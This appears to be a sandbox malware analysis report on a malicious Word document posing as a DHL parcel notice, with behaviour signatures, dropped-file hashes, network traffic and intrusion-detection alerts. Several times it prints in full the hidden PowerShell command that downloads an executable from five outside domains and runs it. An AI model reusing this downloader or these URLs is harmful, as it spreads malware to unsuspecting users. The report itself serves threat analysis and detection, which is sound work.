- "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\microsoft shared\OFFICE14\RICHED20.DLL" at 61BE0000
- source
- Loaded Module
-
Loads the .NET runtime environment
- details
- "powershell.exe" loaded module "%WINDIR%\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll" at 6CB50000
- source
- Loaded Module
-
Logged script engine calls
- details
- "WINWORD.EXE" called ".Shell" with result: "1" ...
- source
- API Call
- relevance
- 10/10
-
Process launched with changed environment
- details
-
Process "powershell.exe" (Show Process) was launched with new environment variables: "WecVersionForRosebud.B90="4""
Process "65536.exe" (Show Process) was launched with modified environment variables: "PSModulePath" - source
- Monitored Target
- relevance
- 10/10
-
Reads Windows Trust Settings
- details
- "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING"; Key: "STATE")
- source
- Registry Access
- relevance
- 5/10
-
Scanning for window names
- details
-
"WINWORD.EXE" searching for class "MSOBALLOON"
"WINWORD.EXE" searching for class "MsoHelp10"
"WINWORD.EXE" searching for class "AgentAnim"
"WINWORD.EXE" searching for class "mspim_wnd32"
"WINWORD.EXE" searching for class "NetUICtrlNotifySink"
"WINWORD.EXE" searching for class "REListbox20W"
"WINWORD.EXE" searching for class "OfficeTooltip"
"WINWORD.EXE" searching for class "MsoCommandBarPopup" - source
- API Call
- relevance
- 10/10
-
Spawns new processes
- details
-
Spawned process "powershell.exe" with commandline ""powershell -WindowStyle Hidden $webclient = new-object System.Net.WebClient;$myurls = 'http://regalosypremiosdirectos.com/iweqepg.exe,http://carpintariafigueiredo.com/yhjvjtj.exe,http://formationdirecte.ca/buxloth.exe,http://felipedemarco.com/poqgyks.exe,http://heliplaya.hotellatortugaspa.com/jxnjhjl.exe'.Split(',');$path = $env:temp + '\65536.exe';foreach($myurl in $myurls){try{$webclient.DownloadFile($myurl.ToString()
$path);Start-Process $path;break;}catch{}}" (UID: 00015586-00003164, Additional Context: "foreach($myurl in 'http://regalosypremiosdirectos.com/iweqepg.exe,http://carpintariafigueiredo.com/yhjvjtj.exe,http://formationdirecte.ca/buxloth.exe,http://felipedemarco.com/poqgyks.exe,http://heliplaya.hotellatortugaspa.com/jxnjhjl.exe'.Split(',')){$webclient.DownloadFile($myurl.ToString()
%TEMP%' + '\65536.exe);"), Spawned process "65536.exe" (Show Process), Spawned process "wscript.exe" with commandline "/E:jscript %ALLUSERSPROFILE%\oiyw.oiy" (Show Process) - source
- Monitored Target
- relevance
- 3/10
-
Contacts domains
-
Installation/Persistance
-
Dropped files
- details
-
"65536.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"
"~$567376122e4e96a02cb10f6f2c4037f2a04df6ff68675d86b6673cefd7dc5d.doc" has type "data"
"12567376122e4e96a02cb10f6f2c4037f2a04df6ff68675d86b6673cefd7dc5d.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Wed Oct 18 19:36:58 2017 mtime=Wed Oct 18 19:36:58 2017 atime=Wed Oct 18 19:37:13 2017 length=632320 window=hide"
"oiyw.oiy" has type "ASCII text with very long lines"
"index.dat" has type "data"
"SIW1L30X6X7XQ0R7T25F.temp" has type "data"
"desktop.ini" has type "empty"
"~WRS{FD928896-E5F3-4931-AB70-3ADA0FDB5A20}.tmp" has type "data"
"~WRD0001.tmp" has type "Composite Document File V2 Document Little Endian O%WINDIR%\Version 6.1 Code page: 1252 Title: DHL Paket N806217 Author: Norma Patberg MBA. Keywords: non perspiciatis quis Comments: Cum nulla accusantium quod itaque doloremque quo. Template: Normal Last Saved By: BODGewR Revision Number: 7 Name of Creating Application: Microsoft Office Word Total Editing Time: 06:00 Create Time/Date: Tue Oct 10 08:27:00 2017 Last Saved Time/Date: Wed Oct 18 21:43:00 2017 Number of Pages: 1 Number of Words: 0 Number of Characters: 5 Security: 0"
"~WRD0000.tmp" has type "Composite Document File V2 Document Cannot read section info" - source
- Binary File
- relevance
- 3/10
-
Touches files in the Windows directory
- details
-
"WINWORD.EXE" touched file "C:\Windows\AppPatch\sysmain.sdb"
"WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
"WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat"
"WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll"
"WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll"
"WINWORD.EXE" touched file "C:\Windows\System32\en-US\setupapi.dll.mui"
"WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"
"WINWORD.EXE" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db"
"WINWORD.EXE" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db"
"WINWORD.EXE" touched file "C:\Windows\System32\rsaenh.dll"
"WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui"
"WINWORD.EXE" touched file "C:\Windows\System32\msxml6r.dll" - source
- API Call
- relevance
- 7/10
-
Dropped files
-
Network Related
-
Found potential URL in binary/memory
- details
-
Pattern match: "http://regalosypremiosdirectos.com/iweqepg.exe,http://carpintariafigueiredo.com/yhjvjtj.exe,http://formationdirecte.ca/buxloth.exe,http://felipedemarco.com/poqgyks.exe,http://heliplaya.hotellatortugaspa.com/jxnjhjl.exe'.Split(',')"
Pattern match: "https://secure.comodo.net/CPS0C"
Pattern match: "crl.comodoca.com/COMODORSACodeSigningCA.crl0t"
Pattern match: "crt.comodoca.com/COMODORSACodeSigningCA.crt0$"
Pattern match: "http://ocsp.comodoca.com0"
Pattern match: "http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q"
Pattern match: "http://crt.comodoca.com/COMODORSAAddTrustCA.crt0$"
Pattern match: "www.digicert.com1!0"
Pattern match: "https://www.digicert.com/CPS0"
Pattern match: "crl3.digicert.com/DigiCertAssuredIDCA-1.crl08"
Pattern match: "crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w"
Pattern match: "http://ocsp.digicert.com0A"
Pattern match: "cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0"
Pattern match: "www.digicert.com1$0"
Pattern match: "http://www.digicert.com/ssl-cps-repository.htm0"
Pattern match: "http://ocsp.digicert.com0C"
Pattern match: "cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0"
Pattern match: "crl3.digicert.com/DigiCertAssuredIDRootCA.crl0"
Pattern match: "crl4.digicert.com/DigiCertAssuredIDRootCA.crl0"
Pattern match: "p.LZ/4+?gZ"
Pattern match: "bZ.NTPY/?634=N&"
Heuristic match: "regalosypremiosdirectos.com"
Pattern match: "2Has5e.mH//zqI`=nscchL{qP$A!!eXx^x"
Heuristic match: "=>35+:F.I@f&9/d2~!F)PE'}@;czXKs`G?@*Cx]Sa0977.St"
Pattern match: "http://schemas.openxmlformats.org/drawingml/2006/main"
Pattern match: "http://regalosypremiosdirectos.com/iweqepg.exe,http://carpintariafigueiredo.com/yhjvjtj.exe,http://formationdirecte.ca/buxloth.exe,http://felipedemarco.com/poqgyks.exe,http://heliplaya.hotellatortugaspa.com/jxnjhjl.exe'.Split(',');$path" - source
- File/Memory
- relevance
- 10/10
-
Found potential URL in binary/memory
-
System Security
-
Hooks API calls
- details
-
"OleLoadFromStream@OLE32.DLL" in "WINWORD.EXE"
"VariantClear@OLEAUT32.DLL" in "WINWORD.EXE"
"SysFreeString@OLEAUT32.DLL" in "WINWORD.EXE"
"SysAllocStringByteLen@OLEAUT32.DLL" in "WINWORD.EXE"
"VariantChangeType@OLEAUT32.DLL" in "WINWORD.EXE" - source
- Hook Detection
- relevance
- 10/10
-
Hooks API calls
-
Unusual Characteristics
-
Installs hooks/patches the running process
- details
-
"WINWORD.EXE" wrote bytes "e9c53275f0" to virtual address "0x761B6143" ("OleLoadFromStream@OLE32.DLL")
"WINWORD.EXE" wrote bytes "d9f8bbc6" to virtual address "0x61C29904" (part of module "RICHED20.DLL")
"WINWORD.EXE" wrote bytes "ba28de9105b98b7b8b61ffe1" to virtual address "0x058E81D2"
"WINWORD.EXE" wrote bytes "186d31c5" to virtual address "0x2FE51B94" (part of module "WINWORD.EXE")
"WINWORD.EXE" wrote bytes "e936552ef0" to virtual address "0x76083EAE" ("VariantClear@OLEAUT32.DLL")
"WINWORD.EXE" wrote bytes "0883c40c" to virtual address "0x61A21F20" (part of module "GKWORD.DLL")
"WINWORD.EXE" wrote bytes "ed615ec5" to virtual address "0x6D27CA70" (part of module "GFX.DLL")
"WINWORD.EXE" wrote bytes "24b49dc6" to virtual address "0x61D310AC" (part of module "MSPTLS.DLL")
"WINWORD.EXE" wrote bytes "c008d723" to virtual address "0x6C7042C4" (part of module "MSPROOF7.DLL")
"WINWORD.EXE" wrote bytes "a7455ec5" to virtual address "0x675878E4" (part of module "OART.DLL")
"WINWORD.EXE" wrote bytes "e99e48d3ef" to virtual address "0x765F3D01" ("SetUnhandledExceptionFilter@KERNEL32.DLL")
"WINWORD.EXE" wrote bytes "ba84c99205b98b7b8b61ffe1" to virtual address "0x00425EEA"
"WINWORD.EXE" wrote bytes "e99a542df0" to virtual address "0x76083E59" ("SysFreeString@OLEAUT32.DLL")
"WINWORD.EXE" wrote bytes "7c5b5fc5" to virtual address "0x68A8F530" (part of module "WWLIB.DLL")
"WINWORD.EXE" wrote bytes "c4ca5e7680bb5e76aa6e5f769fbb5e7608bb5e7646ce5e7661385f76de2f5f76d0d95e760000000017796b764f916b767f6f6b76f4f76b7611f76b76f2836b76857e6b7600000000" to virtual address "0x6E141000" (part of module "MSIMG32.DLL")
"WINWORD.EXE" wrote bytes "00788ec6" to virtual address "0x66580BA8" (part of module "MSO.DLL")
"WINWORD.EXE" wrote bytes "e960332ef0" to virtual address "0x76084731" ("SysAllocStringByteLen@OLEAUT32.DLL")
"WINWORD.EXE" wrote bytes "baecbd4200b98b7b8b61ffe1" to virtual address "0x00427252"
"WINWORD.EXE" wrote bytes "b811110000663d33c0ba94738d0568dcf58b61c3" to virtual address "0x003CD9E4"
"WINWORD.EXE" wrote bytes "e9239930f0" to virtual address "0x76085DEE" ("VariantChangeType@OLEAUT32.DLL") - source
- Hook Detection
- relevance
- 10/10
-
Reads information about supported languages
- details
-
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000401")
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040D")
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000041E")
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000042A")
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000439")
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000420")
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000429")
"WINWORD.EXE" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NATION")
"WINWORD.EXE" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "NUMSHAPE")
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000402")
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000403")
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000404")
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000405")
"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000406") - source
- Registry Access
- relevance
- 3/10
-
Installs hooks/patches the running process
File Details
DHL Paket_806217_18_10_2017.doc
- Filename
- DHL Paket_806217_18_10_2017.doc
- Size
- 618KiB (632320 bytes)
- Type
- doc office
- Description
- Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Name of Creating Application: Microsoft Office Word, Author: Norma Patberg MBA., Number of Characters: 240856, Create Time/Date: Mon Oct 9 22:27:46 2017, Last Saved Time/Date: Wed Oct 18 10:23:00 2017, Security: 0, Keywords: non, perspiciatis, quis, Last Saved By: Edeltraud Schleich-Schuchhardt, Revision Number: 874671, Template: Normal, Title: DHL Paket N806217, Total Editing Time: 02:00, Number of Words: 14168, Number of Pages:
- Architecture
- WINDOWS
- SHA256
- 12567376122e4e96a02cb10f6f2c4037f2a04df6ff68675d86b6673cefd7dc5d
- MD5
- 587b62615c58f18e6478ed96a96e300c
- SHA1
- 446b3110d98f1848ea521c3ba14970e36311e4e9
Classification (TrID)
- 57.5% (.DB) Windows Thumbnail Database
- 33.9% (.DOC) Microsoft Word document
- 8.4% (.) Generic OLE2 / Multistream Compound File
Screenshots
Loading content, please wait...
Hybrid Analysis
Tip: Click an analysed process below to view more details.
Analysed 4 processes in total (System Resource Monitor).
-
WINWORD.EXE
/n "C:\12567376122e4e96a02cb10f6f2c4037f2a04df6ff68675d86b6673cefd7dc5d.doc"
(PID: 2960)
-
powershell.exe
"powershell -WindowStyle Hidden $webclient = new-object System.Net.WebClient;$myurls = 'http://regalosypremiosdirectos.com/iweqepg.exe,http://carpintariafigueiredo.com/yhjvjtj.exe,http://formationdirecte.ca/buxloth.exe,http://felipedemarco.com/poqgyks.exe,http://heliplaya.hotellatortugaspa.com/jxnjhjl.exe'.Split(',');$path = $env:temp + '\65536.exe';foreach($myurl in $myurls){try{$webclient.DownloadFile($myurl.ToString(), $path);Start-Process $path;break;}catch{}}
(PID: 3164, Additional Context: foreach($myurl in 'http://regalosypremiosdirectos.com/iweqepg.exe,http://carpintariafigueiredo.com/yhjvjtj.exe,http://formationdirecte.ca/buxloth.exe,http://felipedemarco.com/poqgyks.exe,http://heliplaya.hotellatortugaspa.com/jxnjhjl.exe'.Split(',')){$webclient.DownloadFile($myurl.ToString(), %TEMP%' + '\65536.exe);)
-
65536.exe
(PID: 2568)
14/64
- wscript.exe /E:jscript %ALLUSERSPROFILE%\oiyw.oiy (PID: 2440)
-
65536.exe
(PID: 2568)
14/64
-
powershell.exe
"powershell -WindowStyle Hidden $webclient = new-object System.Net.WebClient;$myurls = 'http://regalosypremiosdirectos.com/iweqepg.exe,http://carpintariafigueiredo.com/yhjvjtj.exe,http://formationdirecte.ca/buxloth.exe,http://felipedemarco.com/poqgyks.exe,http://heliplaya.hotellatortugaspa.com/jxnjhjl.exe'.Split(',');$path = $env:temp + '\65536.exe';foreach($myurl in $myurls){try{$webclient.DownloadFile($myurl.ToString(), $path);Start-Process $path;break;}catch{}}
(PID: 3164, Additional Context: foreach($myurl in 'http://regalosypremiosdirectos.com/iweqepg.exe,http://carpintariafigueiredo.com/yhjvjtj.exe,http://formationdirecte.ca/buxloth.exe,http://felipedemarco.com/poqgyks.exe,http://heliplaya.hotellatortugaspa.com/jxnjhjl.exe'.Split(',')){$webclient.DownloadFile($myurl.ToString(), %TEMP%' + '\65536.exe);)
Network Analysis
DNS Requests
Domain | Address | Registrar | Country |
---|---|---|---|
regalosypremiosdirectos.com
OSINT |
37.59.196.217 |
Arsys Internet, S.L. dba NICLINE.COM
Name Server: KS211029.KIMSUFI.COM Creation Date: Mon, 20 Nov 2006 09:22:06 GMT |
France |
Contacted Hosts
IP Address | Port/Protocol | Associated Process | Details |
---|---|---|---|
37.59.196.217 |
80
TCP |
powershell.exe PID: 3164 |
France |
Contacted Countries
HTTP Traffic
Endpoint | Request | URL | |
---|---|---|---|
37.59.196.217:80 (regalosypremiosdirectos.com) | GET | regalosypremiosdirectos.com/iweqepg.exe | GET /iweqepg.exe HTTP/1.1
Host: regalosypremiosdirectos.com
Connection: Keep-Alive 200 OK More Details |
Suricata Alerts
Event | Category | Description | SID |
---|---|---|---|
37.59.196.217 -> local:62476 (TCP) | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP | 2018959 |
37.59.196.217 -> local:62476 (TCP) | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download | 2016538 |
37.59.196.217 -> local:62476 (TCP) | Misc activity | ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) | 2015744 |
Extracted Strings
Extracted Files
Displaying 11 extracted file(s). The remaining 10 file(s) are available in the full version and XML/JSON reports.
-
Malicious 1
-
-
65536.exe
- Size
- 301KiB (308388 bytes)
- Type
- peexe executable
- Description
- PE32 executable (console) Intel 80386, for MS Windows
- AV Scan Result
- Labeled as "Trojan.Script" (14/64)
- Runtime Process
- powershell.exe (PID: 3164)
- MD5
- cceea97fa9bc334bfa46409d9c6d37a6
- SHA1
- fdeacfe5797e2042ec0a068c87e5e392315fc59c
- SHA256
- c41a81b2adb31fde7f3773cd02f24bf806e7f503626ec31e58ad68e2dcf933ec
-
-
Clean 1
-
-
~WRD0000.tmp
- Size
- 5.5KiB (5632 bytes)
- Type
- doc office
- Description
- Composite Document File V2 Document, Cannot read section info
- AV Scan Result
- 0/57
- MD5
- 0f570f748eeacf89941ee8a9fb47cd63
- SHA1
- 06465dd291b931826588f00a6ad8ffd4c3b213d2
- SHA256
- e1f37d99490cd216b2fc6fdd9a161b1fa63273f7d0a14de4fff287d8286ca2b0
-
-
Informative Selection 2
-
-
oiyw.oiy
- Size
- 217KiB (222409 bytes)
- Type
- script javascript
- Description
- ASCII text, with very long lines
- Runtime Process
- wscript.exe (PID: 2440)
- MD5
- 9b8771374f02f0357e23b312b6793a86
- SHA1
- f0a8c72af4f0a8656f7b2fc53f64b2fa6a6a42b6
- SHA256
- 9bdc837b0ecdf2aac509e33b52531ac5d95b12558b71db8083b044afc7aedf94
-
desktop.ini
- Size
- Unknown (0 bytes)
- Type
- empty
- Runtime Process
- powershell.exe (PID: 3164)
-
-
Informative 7
-
-
12567376122e4e96a02cb10f6f2c4037f2a04df6ff68675d86b6673cefd7dc5d.LNK
- Size
- 733B (733 bytes)
- Type
- lnk
- Description
- MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Oct 18 19:36:58 2017, mtime=Wed Oct 18 19:36:58 2017, atime=Wed Oct 18 19:37:13 2017, length=632320, window=hide
- Runtime Process
- WINWORD.EXE (PID: 2960)
- MD5
- c5ffb760c736be80930d0fa616972714
- SHA1
- 6ed0261c9465b1b7dc5019445cd27866e08415d0
- SHA256
- b5781a3741c10a96a635f0d35642159c09b0d29aa5d60d4f04f6dd186852bbaa
-
index.dat
- Size
- 257B (257 bytes)
- Type
- data
- Runtime Process
- WINWORD.EXE (PID: 2960)
- MD5
- aa854342e25eab579418439875f29d04
- SHA1
- 9073466032ac8d9ac3d44eb30a32736be6f82f25
- SHA256
- db7aff09ecc77a0d34862a975002358785be4993f527d7fcf583186cb7111394
-
~$Normal.dotm
- Size
- 162B (162 bytes)
- Type
- data
- Runtime Process
- WINWORD.EXE (PID: 2960)
- MD5
- 696e4912a01f937695914f55b169987d
- SHA1
- a77d450d9ad2532a260bc585f24b7192ae560692
- SHA256
- d57b79d8eb949747d80c60977eecb08a391ec5b2cd0831f6a7acb6451ac9742e
-
SIW1L30X6X7XQ0R7T25F.temp
- Size
- 7.8KiB (8016 bytes)
- Type
- data
- Runtime Process
- powershell.exe (PID: 3164)
- MD5
- 67f7f2bb00dcc40d1775c1d4f56e33fb
- SHA1
- 04049b94f024ca30937dbac040432836aa890966
- SHA256
- 30fd1093431a3c4ebaeaf271a3d835cd593b8ba8f1320e8fc742674ac37db348
-
~WRS{FD928896-E5F3-4931-AB70-3ADA0FDB5A20}.tmp
- Size
- 1KiB (1024 bytes)
- Type
- data
- Runtime Process
- WINWORD.EXE (PID: 2960)
- MD5
- 5d4d94ee7e06bbb0af9584119797b23a
- SHA1
- dbb111419c704f116efa8e72471dd83e86e49677
- SHA256
- 4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1
-
~$567376122e4e96a02cb10f6f2c4037f2a04df6ff68675d86b6673cefd7dc5d.doc
- Size
- 162B (162 bytes)
- Type
- data
- Runtime Process
- WINWORD.EXE (PID: 2960)
- MD5
- 696e4912a01f937695914f55b169987d
- SHA1
- a77d450d9ad2532a260bc585f24b7192ae560692
- SHA256
- d57b79d8eb949747d80c60977eecb08a391ec5b2cd0831f6a7acb6451ac9742e
-
~WRD0001.tmp
- Size
- 368KiB (376832 bytes)
- Type
- doc office
- Description
- Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: DHL Paket N806217, Author: Norma Patberg MBA., Keywords: non, perspiciatis, quis, Comments: Cum nulla accusantium quod itaque doloremque quo., Template: Normal, Last Saved By: BODGewR, Revision Number: 7, Name of Creating Application: Microsoft Office Word, Total Editing Time: 06:00, Create Time/Date: Tue Oct 10 08:27:00 2017, Last Saved Time/Date: Wed Oct 18 21:43:00 2017, Number of Pages: 1, Number of Words: 0, Number of Characters: 5, Security: 0
- MD5
- 3ba4717ef350057eef4cd70f379c096b
- SHA1
- 41fb9edaddb4797a4e5cfacf783471f3f930ffa2
- SHA256
- 44f11ecd39615bd4b804803b420f677a2b053ed90680699798365f42fdfbe261
-
Notifications
-
Runtime
- Extracted file "~$567376122e4e96a02cb10f6f2c4037f2a04df6ff68675d86b6673cefd7dc5d.doc" was unknown to VirusTotal, submitted file for scanning (Permalink: "https://www.virustotal.com/file/d57b79d8eb949747d80c60977eecb08a391ec5b2cd0831f6a7acb6451ac9742e/analysis/1508330767/")
- Extracted file "~WRD0001.tmp" was unknown to VirusTotal, submitted file for scanning (Permalink: "https://www.virustotal.com/file/44f11ecd39615bd4b804803b420f677a2b053ed90680699798365f42fdfbe261/analysis/1508330769/")
- Not all IP/URL string resources were checked online
- Not all file accesses are visible for powershell.exe (PID: 3164)
- Not all file accesses are visible for wscript.exe (PID: 2440)
- Not all sources for signature ID "api-55" are available in the report
- Not all sources for signature ID "api-70" are available in the report
- Not all sources for signature ID "binary-0" are available in the report
- Not all sources for signature ID "hooks-8" are available in the report
- Not all sources for signature ID "mutant-0" are available in the report
- Not all sources for signature ID "registry-25" are available in the report
- Not all sources for signature ID "registry-55" are available in the report
- Sample was unknown to Virus Total, submitted file for scanning (Permalink: "https://www.virustotal.com/file/12567376122e4e96a02cb10f6f2c4037f2a04df6ff68675d86b6673cefd7dc5d/analysis/1508330761/")